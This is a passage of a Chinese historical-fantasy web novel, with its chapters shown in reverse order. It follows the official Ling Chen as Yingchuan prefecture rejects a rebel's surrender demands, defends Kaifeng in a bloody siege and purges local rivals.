坐在正堂右偏房里,他握着毛笔,单独动了动左耳,手和衣袖还能看见,毛笔不见了。 再单独动动右耳,毛笔显现了出来,自己的胳膊和手却看不见了。 双耳齐动,彻底隐身。 握着手中的毛笔,放在砚台上蘸上墨,毛笔的软头就带着墨汁凭空浮现了出来。 这样的话,就不能白天砍人,刀上沾了血之后,有很大的概率重启人生。 这玩意就是个安全绳,真正想要攀上悬崖峭壁,还得靠自己。 看来还是政治工作和经济工作适合我,战扬上砍人的事得让专业的人来,该服得服啊! 不过夜里倒是还能微操一番,真逼急了,你等天黑的,天黑你不走,我敬你是条汉子。 由于提前就告知过青柠,自己“冥想”时不允许任何人打扰,所以等他结束测试出来后,青柠早已在门外院里等候多时了。 见到凌晨终于出来了,青柠连忙走上前来,脸色有些焦急的说道:“相公,冯大人派了人来寻你,说是有大事相商,叫你立刻去府衙报道。” “来人有说什么事吗?” 青柠脸上浮现出罕见的忧急之色,摇了摇头后说道:“没有,但是小云买菜回来说,城里现在到处都在传反贼安王到了宋州的消息,大家都猜测他要来我们这里了……” 听到这话,凌晨走上前双手捧着青柠的脸蛋安慰道:“没事,那都是别有用心的人散发虚假言论想要引起城中恐慌的,不要担心。就算是真的,咱哥手里还有那么多兵,不怕啊~” 听到凌晨这么说,青柠担忧的脸色才稍微减退了些,她将凌晨的手握住,从自己脸上拿了下来:“快去吧相公,公事要紧,那人看起来挺急的,传完话就走了。” “好。” —— 等到凌晨来到府衙时,颍川府的文官武将已经都立在堂中了,他是倒数第二个到的。 倒数第一是北城守军将官,脸红的跟猴屁股一样,浑身都是酒气,还是被人扶着来大堂议事的。 坐在堂上的冯延一改往日的宽厚与温和,勃然大怒!从筒子里抽出红色令签,一把就扔在了地上! “拖出去,斩!” 官将里有不少人纷纷替那人求情,言说罪不至死,冯延却一意孤行,没一会血淋淋的人头就被红差提了进来,看的众人皆是心头一凛。 “反贼赵世中已经夺取了睢阳府全境,据从东边逃过来的难民和官吏讲,睢阳府衙的大小官吏皆被斩首,首级挂在了城中鼓楼门子,四千乡军也被杀散。” 冯延从案桌上拿起一张布告,递给最近的张承:“这是赵世中派人送过来的劝降书,你们互相传阅一番,议议对策吧~” 此言一出,堂中尽是交谈之声。 众人拿过来布告细看了一遍,然后脸色或苍白、或凝重的传给下一个人。 在众人传阅的间隙,冯延补充道:“那些溃散的游勇说,赵世中当初攻打宋州时只有三万人马。如今就算他收编了睢阳残部,最多也不会超过四万。所以布告中的十万贼寇应当是诈称,不必太过惊惧。” 凌晨从一旁的官员手里接过布告一看,登时就麻了…… 你家猫!这小子还真敢狮子大开口啊! 赵世中要十万石粮食、十五万两银子充作军资,征丁五千打散编入他的叛军,还要由他的人接管开封防务。另外让颍川府提供三千姿色尚佳的女子入营为军妓,一万民夫为徭役。 以上要求做到了,就和平收降颍川府。如果有一点做不到,就踏平开封,还恐吓说要把整个颍川府的士绅变成消消乐里的青蛙狐狸小黄鸡。 可是他这条款,中堂大人来了也不敢签呐! 赵世中敢这么横,也是提前调查过的,颍川府只有三千乡军,就算最近新增了四千多基层差役,加起来也不过才七千人。其中还有大半是没有经历过战争的普通人,战斗力一般。 而他手下的军队,早就在青州北境肆虐已久,不仅在人数上碾压颍川守军,还都是手头上个个沾过血的合格士兵。 拿捏呢~ 大堂里二十多个人,没一个敢率先发表意见的,大家都很慎重。 最后,还是张承打破沉默,率先开口了:“大人,下官认为绝不能答应他们的要求。若真这么做了,如何向治下百姓交代?又如何向朝廷交代?下官的建议是加固城防,多备火油、擂石、滚木。同时派人向周围其他州府求救,言明唇亡齿寒的道理,合力齐抗贼军!” 冯延捋着胡须微微点头,但却并没有急着采纳。 张承作为他的老部下,意见和心思自然跟他不谋而合,但不同的声音也要听上一听,总归没有坏处。 有人带头,其他人也都开始畅所欲言,大部分人都是主战的。颍川集团从先汉开始就是统治阶层的常青树,在魏晋时代更是达到了前所未有的巅峰,荀彧、钟繇、郭嘉、陈群、杜袭、赵俨,个个都是彪炳史书的朝廷重臣。 如今虽然不比往日,可余威犹在,向某个大势力靠拢入股还可以考虑,向一群造反的泥腿子投降,把脖子伸出去让人家拿捏,这绝不可能! 但也有三四位幕僚主张和叛军商量,避免爆发直接冲突。赵世中漫天要价,我们也要坐地还钱,粮草银两可以削减,征丁名额可以争取,还可以将青楼女子充作军妓,反正她们就是干这个的,专业也对口。 我们可以名义上归顺,但不允许他们来开封驻军。他可以得到名义上和实质上的双重好处,而我们也可以继续过我们的日子。 这几位的建议也是从现实角度出发,以最小的代价保护颍川府的利益,冯延听完后,并没有表露出反对的意思,而是思索起了赵世中能否接受的可能性。 直到文署从官魏御发言—— “下官倒觉得……大人可以给安王写封信。” 堂中众人皆是一愣,冯延也疑惑不解,看着魏御问道:“如何写?” “如今天下大乱,群雄并起。朝廷已然是名存实亡,不如倾全力相助声势正盛的安王,未必没有可能成就一番大事。大人可在信中夸赞安王,与之交好,我们全力相助。待日后一统天下,亦不失为从龙之功~” 静。 “砰!” 冯延怒不可遏的拍案而起,指着立在堂中的魏御骂道:“混账!你说的是人话吗?!你怎么不让我亲自带兵去反贼军营帮忙呢?!” 魏御愣愣的说道:“那……那更好啊,安王看到大人如此忠心……” “我是朝廷钦封的知府!我能去全力资助反贼吗?为人臣子的本分在哪里?!我一个文人,你让我写信去给一个反贼头子溜须拍马,亏你想的出来!士林风骨何在?忠君气节何在?!” “可我们只有几千人,他们有几万呐……” 冯延被魏御的话气的脑袋直冒黑血,转过身就要抽筒子里的令签。立在近前的张承连忙跑过去拦住了他,侯明也一把将案桌上的筒子护住,其他众官将纷纷跪下替魏御求情,凌晨眼疾手快,扯着魏御的衣袖就将他丢了出去。 其实他的投降主张也不见得是错的,真到了反贼兵临城下,颍川府又干不过的时候,也要按实际情况考虑。 但他说话的方式有问题啊! 大家都知道朝廷已经是进气多出气少了,可你堂而皇之的说出来,我们怎么向百姓,怎么向天下人圆说? 为了百姓免遭屠戮而被迫投降,和写信主动跪舔反贼那是两个概念啊! 你还让冯延亲自写信,真是个天才…… 怎么混到府衙里来的? “将此贼革去职务,捉拿下狱!待此间事了,再行议罪!” —— 冷静下来后,冯延决定先派人跟赵世中暗中接触。我给你点好处,就权当交保护费了,你接着去打你的天下,我继续过太平日子,等待朝廷新的动向。咱们各自安好,谁也别给谁添堵。 结果派出去的使者只回来了七分之六,还有七分之一被挂在宋州城头当风铃。 这就是给脸不要脸了。 加上西北的洛阳府尹、东南的淮北知府都答应了会出兵相助,冯延在和颍川官将经过了多番讨论之后,终于下定了决心,宣布和赵世中势不两立! 凌晨本来想向文家借兵的,另一位府衙官员也想向襄樊节度使求救,但都被冯延否决了。 平疥癣之疾何须虎狼?如果真的让他们介入,军事问题就会变成政治问题,江淮军或者襄樊军来了之后不走了怎么办?真到了那个时候,不站队也得站队。 况且,没点实打实的能力表现,你拿什么入股人家?能换来多少政治利益? 招几个闷头在家考研的大学生,和招几个自主创业成功的大学生,工资待遇是不一样的。 赵世中见颍川府拒绝了自己,立刻点齐人马,纠集了四万贼军,诈称十四万,气势汹汹的向开封奔来! 在军事问题上,凌晨还排不上号。冯延更倚重的是大舅哥刘青山和另一位乡军校尉邵之祁。 无数探马奔走在一望无际的平原上,来回传递着叛军行进的动向;城防军士和开封百姓齐齐上阵,将防御物资抬到城墙上、堆放在城门边;侯明带着官差四处巡逻纠察,维持开封城的正常秩序;张承和一众官吏彻夜拟令调度,将粮草都运进开封城,调拨官吏、士绅、差役和百姓们各司其职。 整个开封城、整个颍川府的政治机构和军事机器都转动了起来,准备和赵世中的贼军开战。 他们要告诉这群反贼、告诉各方势力、告诉全天下人,什么是颍川集团。 六月廿九,反贼先锋部队兵临城下。 从城墙上向下望去,这些贼军衣服款式颜色各异,武器刀枪斧锤都有,旌旗猎猎,黄尘飞扬。前排全是持着涂漆木板的盾兵、后面是近战士卒,再往后是成排的弓兵。这些人衣甲并不统一,甚至可以说是五花八门,但个个表情冷漠狰狞。 最中间立着两百多名骑兵,他们的甲胄、武器倒是很统一,全都围绕着一杆大旗。也不知道是不是故意的,旗子上的斑斑血迹并没有被清洗干净,十分具有震慑效果。 旗下众军围绕着一个膀大腰圆的汉子,想来应该就是先锋部队的主将了。 大家之前都已经在公屏上互相问候过父母了,现在也没什么好说的,开团吧~ “杀——” 城墙下的贼军分成十几股,将盾牌举过头顶,抬着云梯就如潮水一般向着开封城涌来,巨大的攻城车被钉了铁皮的宽大木板覆盖,像一只巨大的铁龟,目标明确的朝着开封东城门移动。 等贼军进入射程范围内后,城墙上箭如雨下!下面的贼军弓手也在盾兵的掩护下朝着城墙垛子远程攻击。当云梯被撑起来架在城墙的砖石上后,惨叫声瞬间响成一片! 滚烫的火油顺着云梯倾泻而下,扎了铁钉的巨大木头一个接一个的滚了下去,沉重的石头直接将盾牌砸的歪斜、破裂! “啊……” “呃!!” “哇——” 城墙下的叛军有的被石头砸的四肢变形,有的被钉子扎穿脑袋和胸膛,有的被火油淋到,变成一个火人四处乱窜!箭矢洞穿了他们的肩膀、身体、大腿和脚足。 鲜血、火光、惨叫、浓烟、喝骂! 城墙上的守军也有不少被贼军的羽箭扎中,有的扎在肩膀上,哀嚎着倒地挣扎;有的扎在脖子、捂着咕咕冒血的动脉抽搐不已;有的脸颊被箭支洞穿,挠着脸“呜呜”惨叫;有的被插在脑门和人中上,一声不吭。 首战关系到士气,双方都是铆足了劲火力全开的,怯战、退缩的士卒全都被监军士兵一刀剁翻,根本不跟你废话。 恶战从上午打到黄昏,连午饭都没顾得上吃。刘青山披甲持刀,在东门城墙上亲自指挥作战,邵之祁在其他三门来回巡逻,防备贼军袭击其他城门,冯延坐镇在东门城楼上,手握宝剑亲自督战。 不服就干!迎头对攻,一决雌雄! 第54章 兵者 这家伙可不是好人呐!贪污受贿、仗势欺人、和开封士绅们沆瀣一气、官官相护,欺压平民百姓。每个月才七两银子的俸禄,竟然只用了半年时间,就在寸土寸金的开封城里购置了一座三进大院! 管中窥豹,可见一斑。 但他做事狠厉,风格火烈,寻常人根本不敢招惹,就连那些士绅大族也是百般讨好。如今的知府冯延还是他的老上司,那更是鼻孔朝天,一路看天不低头了。 就是这么个家伙,今天居然跑到南城门外面的长亭里,摆下酒宴,立正站好的等人。 开封百姓们很疑惑,什么人会让这家伙这么礼貌和耐心的等待?还是在如此炎炎夏日。 从早上一直等到了正午,城外官道上出现了一支队伍。 两匹马打头,两边和后面跟着十几个身型壮实的年轻汉子,中间护送着一辆马车。 面如黑炭,浓眉外翻,胡子和稀疏的头发从两鬓相连,胸前的衣服敞开着,露出满是黑毛的胸膛和滚圆的油肚皮,目光中透露着看谁都像垃圾的眼神,丑如罗刹鬼,不似田舍人。 俊秀阴柔,一袭白衣叠素衿,腰间褐丝编青绳,长发随风飘扬。虽然穿着男子衣冠,却长着一张女子都自愧不如的俏脸。身子向后仰着,手拽缰绳,双眼不断扫视着周围的风吹草动,十分警惕和冷漠。 车驾侧面还跟着一骑,马上那人身形雄壮,胳膊上的肌肉若隐若现,腰间挎着一柄腰刀,面容坚毅,目光如炬。一看就是长期习武之人,而且身上的气质像是富家子弟,比起前面那两个,这人看着倒平易近人些。 跟着马车的那些年轻人皆是沉默不语,他们穿着一模一样的衣服,只是衣服里总觉得好像藏了什么东西,肩膀、两肋、腰间和大腿外侧隐约能看到不规则的鼓起,虽然个个赤手空拳,却让人感觉很危险。 队伍停在了长亭外,里面下来两女一男。 更奇怪了! 长的很像富家小姐的女子,反而立在像是寻常人家姑娘的身后,丫鬟像主子,主子像丫鬟…… 至于那男子么…… 有病吧他!大庭广众之下竟然敢公然搂抱同为男人的侯明! 而以凶恶、脾气差闻名开封的侯明不仅没有一巴掌将他扇飞,还客客气气的微微弯腰,隐隐还有示好之意…… 这下不止开封的百姓好奇,士绅们也多方打听这帮人的来历,没过多久就查清楚了。 现在站在你面前的是—— 知府冯延的绝对心腹、乡军校尉刘青山的亲妹夫、别驾张承的最佳搭档、临颍经济奇迹的缔造者、江淮节度使的座上宾、第三位被刑部司狱郎登门拜访后还活着的幸运儿、前司户王臣鹤的至交好友、前江淮军亲卫营百夫长、颍川府绿林道的无冕之王、以绝对宽厚和绝对冷酷双重闻名的狼鹿双成就获得者、颍川府新任团练文书——凌晨。 府衙旁边的二进小院,是一位本地大绅无偿提供给凌晨安顿家小的,名字没记住,不过面相倒是有些印象。 大舅哥平时住在府衙,今天是因为凌晨和青柠来了,才从官署抽空过来看看。三千乡军,大舅哥统领着两千,开封守军的四位偏校,也有一位是他提拔上来的。 那位大绅派家丁将院子打扫的很干净,清水洒洗后被太阳晒干的痕迹还能看到,是个难得的好人。凌晨已经叫解二给陈啸通气去了,往后他家的商队、货物在颍川府地界行走,绝对是一路绿通。 青柠坐在桌子旁,环顾四周,打量着屋子里的陈设,发现件件都看着像是新买的,心底不禁有些不安:“相公,我们平白住人家的院子,是不是有些不好?” 凌晨将沾在她右肩衣服上的头发捏起来吹掉后,笑着对她说道:“傻丫头,人家既然主动送给我们住,那我们基本上就没有拒绝的理由。住了,大家都是好朋友,不住,那就是仇人了。” “为什么呀?哪有强迫让人……” 凌晨伸手打断她说道:“府城的事,是说不清道不明的,不能用我们在望云镇上的邻里关系和交际习惯来衡量。” 尽管相信凌晨的决定,可青柠还是觉得有些别扭。 “要不……我们按城里的价给他银两吧?这样也住的安心,往后与他家多有走动就行了。” 给银子就生分了,那是不拿人家当自己人啊…… 不过老婆的感受还是要考虑的,于是凌晨朝着坐在一旁用锉刀刻竹画的白千招了招手:“小白,你去拿点银子,交给送我们院子的那位员外。” 说罢,他还偷偷朝白千挤了挤眼。 白千看了一眼青柠后,明白过来,点了点头就出去了。 大舅哥还是一如既往的凶悍,胳膊上的肌肉似乎更硬了,凌晨好奇的伸出手指戳了戳,被大舅哥一把拍开,颇为无奈的瞪了他一眼。 妹夫什么都好,就是有时候有点吊儿郎当的…… “哥,乡军那边还好吧?” “嗯,大部分都在我手里,还有一支是开封大族的人统领,不过他们家和冯大人关系匪浅,可以信任。” “虽说如此,但到底不是自己人,你还是要留个心眼。” “嗯。”似乎是想到了什么,大舅哥轻叹了一口气后,对凌晨说道: “眼下我们的压力很大,东边睢阳?府的府城宋州已经被反贼赵世中的叛军攻占了,距离我们不足百里,沿途又没有可以阻挡的势力,大人担心他们不久后就会向我们奔来。” 大舅哥的话让凌晨沉思起来,终究还是要应对军事问题么…… 凌晨是个心软的人,当初在卡拉迪亚大陆四处游走,在库赛特的村落里一个接一个的亲手招募到了一群年轻小伙子,带着他们杀强盗、杀海寇,投入金钱、投入精力、投入时间,将他们历练成了可汗亲卫。 可是最后因为行走路径不对,不小心和敌对国家的小队伍碰上了,因此只能被迫和追在身后的四千主力交战。 留下士兵断后,自己逃跑从来不是他的作风,于是他亲自上阵,妄图利用地形和排兵布阵走位拉扯,以少胜多。 残阳如血,跟着他打天下的精锐弓骑们,射光了箭袋,弯刀掉落在了地上,连坐骑都倒在了血泊中,全军覆没。 坐在电脑前的凌晨硬生生忍住了砸键盘的冲动,望着那些库赛特村庄发呆。 “将军,我家那小子当初跟着你去闯天下,表现的怎么样?我老啦,有时候还怪想他的……” “将军,您又来啦?我…我相公怎么没跟你一起回来?他在别的地方为您做事吗?我身子不好,家里的活一个人快要忙不过来了……” “叔叔,我爹呢?他怎么还不回来?别人都有爹爹给他们当马骑,给他们削木剑,就我没有……” —— 《孙子兵法》的第一句,就说清楚了战争的本质:兵者,国之大事、生死之地、存亡之道、不可不察。 战争是一个国家最重要,最根本的存在基础,是关系到所有人生命安全的头等大事,这位兵法大家在开篇第一句就提出了“不可不察”的慎战思想。 慎战很容易被人认为是怯战、惧战,都是两个肩膀扛一个脑袋,你怕个毛?干他啊! 干不过?那就死!无怨无悔! 这就是凌晨为什么要招那些十几二十岁的本地青年,他们勇气可嘉,年少轻狂,充满少年人该有的热血和一往无前,无惧任何敌人。 问题是,人不能只从自己的出发点看待事物。 如果战败了,你愿赌服输、从容赴死。可当敌人冲进城里后,六七十岁的老头老太太怎么办?怀着孕行动不便的妇人怎么办?尚在襁褓或者刚学会走路的孩子怎么办?你的父母、兄弟、妻儿、姐妹怎么办? 敌人会怎么对待他们? 战争本质上是一扬生意,一扬豪赌。大部分人都不会认同这种言论,战争应该是热血、正义的畅快厮杀,铁血征服的原始冲动,是强者生,弱者死的生存法则。最次也该是悲壮的,怎么能和生意这种令人不齿的铜臭之事挂上钩呢? 可这就是事实,真相从来都是赤裸裸的。 你去问问哈尔科夫和地中海东岸的士兵,看看他们喜不喜欢子弹钻进身体的感觉和生死与共的战友被炸上天的扬面;问问他们的家人,喜不喜欢看到自己生命中最重要的人变成一具冰冷的尸体。 当然,这还得运气好才行,运气不好连尸体都没有。 战争是最后的手段,只有在矛盾不可调和,外交、经济、政治努力全部都失败后,才会启动。 但, 一旦到了必须要启用军队的时候,就要放弃一切幻想、抛却一切顾虑、统筹一切资源、计算一切可能、扫除一切阻碍。 坚决的、彻底的、明确的、无情的、成建制的消灭一切敌对军事单位和政治力量。 同时,也要留好后路,做好应对失败的准备。 作为眼下中原地区少有的净土,人口众多、经济繁荣,粮草富庶的颍川府被盯上是迟早的事,而且绝对不会只有一股势力觊觎。 反贼赵世中、晋阳节度使孙芝、襄樊节度使、朝廷都不会放过这块肥肉,更不要说还有周围其他州府的知府、将军们。 就连文训,怕是也惦记着。 冯延没有趁乱起兵自立的想法,他对自己的定位很清晰,所以一定要找到一个有能力守护颍川府全体官绅百姓的势力,贤臣择主而事。 他没有表露过自己的想法,但他提拔重用的凌晨是江淮军出身,与文家过从甚密。 眼下,还是不要急着站队的好。不过抵御反贼入侵倒是可以准备起来了。 思虑万千后,凌晨决定跟着大舅哥去乡军驻扎的校扬去看看,了解了解基层士卒的真实情况。 二人到了营地时,刚好是下午放饭的时候,突发奇想的凌晨就拉着大舅哥一起到饭舍看看乡军兄弟们伙食怎么样。 士卒的伙食和饷银都是重中之重,吃的不好容易引发消极怠工,克扣或者不发饷银…… 你试试~ 颍川府财力丰厚,开封城又处在黄河边上,航运便利,所以饭菜的种类和质量还是可以的。 两个大馒头,盐水焯过的青菜、腌制的萝卜片、两片卤煮五花肉、时令水果,甚至还有用油煎过的小鱼干。 这个配置已经称的上豪华了。 这是寻常饭菜,行军时的暂时还没有了解到,毕竟这是凌晨第一天到达开封。他比原定的调任时间晚了五天,就是为了处理临颍和许县的官仓、征兵问题。 “这里的饭菜还是可以的。” 凌晨满意的握着筷子向大舅哥夸赞道。 大舅哥不语,只是一味低头炫饭。 周围还有很多来吃饭的士卒,当他们看到大舅哥后,都是神色一凛,再望向一旁的凌晨,皆是疑惑其身份。 吃饱后还能啃颗梨,凌晨对军营的伙食安排十分满意,手艺不错,营养搭配的也不错。 吃完后,两人一起起身,将土陶碗拿到火房前,一起用筷子把残渣拨进了泔水桶里。 把陶碗叠在收容碗筷的木桌上后,凌晨满意的转身准备离开,却被大舅哥一把抓住了。 他疑惑的扭头望去,大舅哥刚刚还平静的脸色,此刻却变得阴沉如水,盯着泔水桶一言不发。 凌晨顺着他的目光看去,里面全是残汤剩菜鱼骨头,还有两个馒头漂在泔水表面。 这是咋啦? “传令,全军集合!” 宽大的校扬上,黄尘飞扬,站满了被莫名其妙拉到这里的士兵们,大舅哥命人将泔水桶抬到台子上,望着下面的士卒们沉默不语。 等到人都到齐了后,大舅哥冷哼一声,转身指着泔水桶声如雷震的喝道: “这是本将今日放饭时,在饭舍里看到的泔水桶。” 底下的士卒们都翘首张望,满脸疑惑:哦~~那咋啦? 下一刻,大舅哥挽起袖子,将手伸进泔水桶里,将那两颗被泔水泡的发软的馒头从里面捞了出来,上面还在滴残渣。 站在旁边的凌晨心里一突,不……不会吧…… 大舅哥将湿哒哒的馒头高举起来,让全体将士们都看到后,缓缓放进嘴里,大口大口吃了起来。 “呕……” 凌晨顿时感觉喉咙里一阵翻涌,转过身弯下腰捶起了胸口,脖子和脸都红了,青筋可见。 校扬上还有不少士卒也跟他一样,被恶心到捂嘴干呕,有些甚至把刚吃进去的饭菜直接吐了出来,原本排列整齐的队伍也一阵骚动。 大舅哥冷冷的盯着底下的乡军们,面不改色的一口接着一口,直至咽下最后一团。 校扬上的人早都遭不住了,吐了一地,乱成一团。 他深吸了一口气,大声吼道:“这次,本将替你吃了!下次再让我看到,查出是谁扔的,就给老子把泔水桶舔干净!” 顿了顿,他又喝道:“要是找不到人,你们他妈有一个算一个,一人一口!” 整个校扬顿时鸦雀无声。 第53章 风满楼 “哪里来的贼人,吃了熊心豹子胆了?!” 文瑶听到这道声音后,心中立刻燃起了希望,她捂着脑袋胆怯的扭头望了过来,满眼都是泪花,显然是被吓得不轻。 凌晨看了她一眼后,还是决定放弃赶走解二后自己再说“现在该轮到我了”的B计划,给这小丫头一个深刻的教训就足够了,别再真给吓傻了。 于是他伸手抓住文瑶的手腕催促道:“快走!回到家里就安全了!” 文瑶颤巍巍的站起身来,吓的走路都不利索了,凌晨为了不穿帮,只好转过身低下身子,把她背在背上,一路在解二和白千的“追杀”下跑回了文府。 “哇——” 哭的梨花带雨的文瑶一头钻进了满脸疑惑的文夫人怀里,声泪俱下的向她描述了刚才发生的事,文夫人一边抱着她轻拍安慰,一边向凌晨看了过来。 凌晨隐晦的朝她挤了一下眼睛,文夫人立刻就明白了过来,笑了笑后,连忙安慰女儿道: “你看看你,不听为娘的话,现在知道外面有多危险了吧?幸好有你晨哥哥跟着,不然你今天就真的要被那些歹人掳走了~” 文瑶撕心裂肺的哭道:“娘!他们要剁我的脚,要拔我的头发,还要把我的手烤了吃进肚子里……呜呜呜……怎么会有这么可怕的人呀?!” “好了好了,你这不是平平安安的回来了嘛~聚会也参加了,人也安全回来了,以后可不敢了昂~要听家里人的话,不是每次都会这么运气好的。” 文瑶抱着文夫人的腰拼命点头道:“嗯……我以后再也不敢了!一定听娘的话呜呜呜……” 韩登和文若对视一眼,一起憋住笑拉着凌晨离开文夫人的院子,留下受惊的文瑶在母亲跟前求安慰、求抱抱去了。 凌晨有点好奇,文瑶经过这件事后会不会长点记性?要不把她送到临颍县锄两天地怎么样?小云一个人做饭挑水也挺累的。 大周版变形计有没有搞头?谁家还有这样的孩子,都可以送过来历练一下嘛~ 当然了,这是对女孩子的优待,男娃就简单多了—— 你好,我是临颍县叛逆戒治中心主任医师,凌晨。 家长朋友们可以放心把你们处在叛逆期的孩子送过来,我以崔知县的官声担保:只需三个月的疗程,一定还你一个听话懂事、乖巧温顺的好孩子。 —— 再次见到老文是七天后了,整个人看起来都有些疲惫,可能是这几天通往天堂的车次比较多,调度太辛苦累着了。 韩登和凌晨也终于结束了在汝南的行程,一个回京城,一个回临颍。 如今的颍川府,知府是凌晨的老上司冯延,政这一块捏的死死的。三千乡军,大舅哥刘青山统领着一千,军这一块还需努力。至于最后一个领域么,还得凌晨亲自把关。 可惜,时不我待。 四月底,幽州前线传来了噩耗,大周军队被鬼方、突厥、契丹三部联军击败,禁军精锐死伤大半,周军最高统帅、兵部尚书贺唯忠被草原游骑围困在涿州城内,眼见突围无望,拔剑自刎而死。 他倒是清清白白,扛着“为国尽忠”的旗子见祖先去了,可其他还活着的人怎么办?京城很快就有流言传出,说周皇被气病了。 这次大败,除了应开疆和草原势力确实战力凶悍之外,和另一个人也有着密不可分的关系。 晋阳节度使、大周晋王——孙芝。 这位老谋深算的务实主义者,只遵循一个道理:宁可我负天下人,休教天下人负我。 原本他在拿到了足够多的政治资本和地位声望之后,确实打算帮着朝廷解决掉应开疆。当然肯定也要趁乱多控制点地盘、捞些实质性的好处。 但是夏国和关中节度使出于各种因素的考虑,将战线的主扬从关陇地区转移到了河套地区,也就是夏国、云中、晋阳三大势力的交接地带。 如果再具体点,可以精确到米脂县北边。 米脂县的东边,是奔腾怒吼的滔滔黄河,河岸对面,是吕梁山脉中段最重要、且没有之一的城池——石州。 如果占领了石州,一马平川的汾河平原将会毫无保留的暴露在刀锋铁蹄之下。 你正坐在路边摊吃饭呢,突然看到街上有两个人挥着西瓜刀互相对砍,仿佛有什么深仇大恨似的,这不可怕。 可怕的是,他们砍着砍着,不知是有心还是无意,慢慢砍到你跟前来了。 这谁还能坐的住?! 不要了,什么都不要了!缴获的金银财宝、物资军械通通丢掉!占领的城池、关隘一律放弃!抓到的女人、俘虏全部放掉!孙芝带着晋阳军连夜拔营,不分昼夜的往自家水晶赶! 夏国和关中交战双方的主力部队加起来将近十万人,而他给儿子只留了三万人,还要分兵把守各个关隘,一旦他们真的停下来把目光转移到石州,那就完蛋了! 如果三晋大地有失,丢掉了基本盘。还什么晋王,活着看到明天的太阳都是三个不可能实现的愿望! 由于事态紧急,再加上山高路远的,拿到手的军机塘报已经是几天前的事了,心急火燎的孙芝也来不及向还在前线和草原靓仔们进行无限制格斗团体赛的贺唯忠报告,等待他签字同意或者做好人员顶岗,直接就旷工了。 但是,他负责的是朝廷大军西线。 孙芝的五万晋阳军突然这么一撤,原本还感到有些吃力的鬼方可汗望着前方一望无际的河北平原和绵延不绝的周军粮道陷入了沉思。 这是南人新出什么计谋吗?没见识过啊…… 不管了,加钠! 三万鬼方游骑兵张弓搭箭,挥舞着弯刀就冲入了周军侧翼,将周军的战略部署打的七零八落。再加上粮道被彻底断绝,各部将士惊慌之下只能拼命往南逃,引发了一系列的连锁反应。 撤退路上烧杀抢掠本国平民的、回到家后突然攻击邻近州府的、为求活路投降燕军的、先叛后降复又反叛的、被逼无奈聚众自保的,所谓兵败如山倒,形势已经完全失去了掌控! 旧唐灭亡后那种暗无天日的乱象,再次出现在承平已久的黎庶苍生面前。 心里最苦的是贺唯忠,本来一片大好的形势,就这么毁于一旦,起因竟然只是因为孙芝担心自己的利益会受到损失!朝廷不信任节度使,节度使们之间也互不信任,孙芝压根就不相信关中节度使韩珏会替他拦住夏国。 甚至,韩珏自己会不会趁虚攻入晋阳,还很难说呢! 这是唐末乱世军阀割据形成的历史惯性,区区三十几年,根本刹不住车。从某种角度讲,对于贺唯忠和大周来说,终归是难敌天数。 几家欢喜几家愁,有人抹泪就有人笑,比如应开疆。 他的嘴都快要笑歪了!这辈子没白活,人生真是像过山车一样既刺激又惊险! 本来以为可以趁乱入主中原,结果没想到南边的蜀、唐闹翻了,让大周能腾出手来痛扁自己。 本来以为要完犊子了,就算自己扬了祖宗十八代引来关外势力,也不一定能干的过周军,没想到孙芝临阵变卦了。 天晴了雨停了,老子好像又行了! 燕国残部和契丹、突厥军心大振!奋力向前发起了反攻,和绕到侧翼后方的鬼方部骑兵前后夹击,什么他娘的禁军精锐?老子打的就是精锐! 局势一变再变,现在又变! 留给凌晨的时间不多了。 最可怕的是,大周朝廷能够实际控制的地区,已经丢失了将近一半。数十年来积累的百战老兵,也损失了大半。为了能够抵挡应开疆的凶猛反扑,朝廷只能加紧在还能控制住的地区征兵征粮。 谁都知道这么做等同于火上浇油,可如果不这么干,就只能眼睁睁的看着应开疆走进邺城皇宫,向周皇问出那句“鼎有多重”。 于是,他们成功点燃了另一个火药桶——农民起义。 这可不是南阳民变的那种小打小闹,也不是河北官绅的聚众自保,而是真正的、彻底的、以推翻周王室为斗争目标的阶级战争。 五月下旬,济州治下的平民赵世中在自家地里锄地,竟然挖出了一块形状像莲花的火红色石头。同一天内,相距不到几十里的泰山上云似龙腾,还有好多人听到了龙吟之声。 于是,这位济州籍的平民举起大旗,自封“安王”,高喊着王侯将相宁有种乎,在泰山上聚集了两千百姓,如猛虎下山一般横扫青州北境,一路上从者如云,短短十几天就发展到了上万人! 至于他一个“平民”哪里来的钱购买这么多人的粮食、武器、衣甲、营帐和行头,咱也不知道,咱也不敢问。 当然了,眼下这种情况并非已经到了山穷水尽的地步,没有扭转乾坤的机会。一百年前,旧唐连京城都丢了,外族入侵、藩镇割据、农民起义、军中哗变,和今天的大周何其相像。 汾阳郡王不还是力挽狂澜,横扫宇内、再造了大唐么? 属于大周的汾阳郡王在哪里呢? 不知道。 不过周皇已经快两个月没有上朝了。 朝野、民间都急疯了,现在的形势不亚于蜘蛛落到脖子里,老鼠钻进裤裆里,他却没有上班打卡,这意味着什么? 当今圣上已经到了知天命的年纪,国家出了这么大的乱子都看不到人,先前还有传言说他病倒了。 嘶!! 难道…… “颍川知府令:调临颍县尉凌晨、临颍县丞张承、临颍乡绅刘廷让、许县户官肖合、许县乡老聂无为、运昌县丞李琦、成县捕头江知闻入府城参事。 另告:乡军校尉成万身为一方军将,当街斗殴、强抢民女、纵兵劫掠、抵抗缉捕。现已将其捉拿下狱,于明日在南门菜市口斩首示众,其共犯亦同罪问斩。所部官兵,由校尉刘青山暂领。” 还是那句话,冯延不是个好人,但他是个好官。 如今天下大乱,战火四起,他没有别的追求,但一定要保证颍川府平安无事。凌晨的这位老上司也是一位务实的人,不求有功,所以他从不整活。但求无过,所以谁给他整活,他整死谁。 可怜的成万将军想凭借手中的乡军支持别驾孙礼上位,将外乡人冯延从知府的宝座上赶下来。因为他听说大周各地已经有很多以下克上的成功创业案例。 可是万万没想到一向好说话的冯延竟然突然变了脸,下手又快又狠!而刚从晋阳军调过来、跟他八竿子打不着的同事刘青山竟然莫名其妙的全力支持冯延。 他创业失败,连带着老别驾孙礼也跟着完犊子。这位历经三任知府都稳坐钓鱼台的本地巨擘被连根拔起,连家里都遭到了流寇贼匪的洗劫,听说房梁都被拆掉搬走了,茅坑也填平了。 不仅如此,颍川府境内各个县镇都出现了一些来历不明的人。这些年轻人全都蒙着面,身体健壮、孔武有力,行动敏捷、果断迅速,像是专门受过训练一般。 他们的目标非常明确:不打勤的不打懒的,专打不长眼的! 数套组合拳下来,明面上还敢给冯延制造麻烦的势力和个人全都消失不见了。迄今为止还能在府衙和各个县衙做事的,大部分都是冯延的心腹和旧部,要么就是和他关系匪浅的颍川士绅。 还有一小部分是只专心做事,不参与派系纷争的干吏。 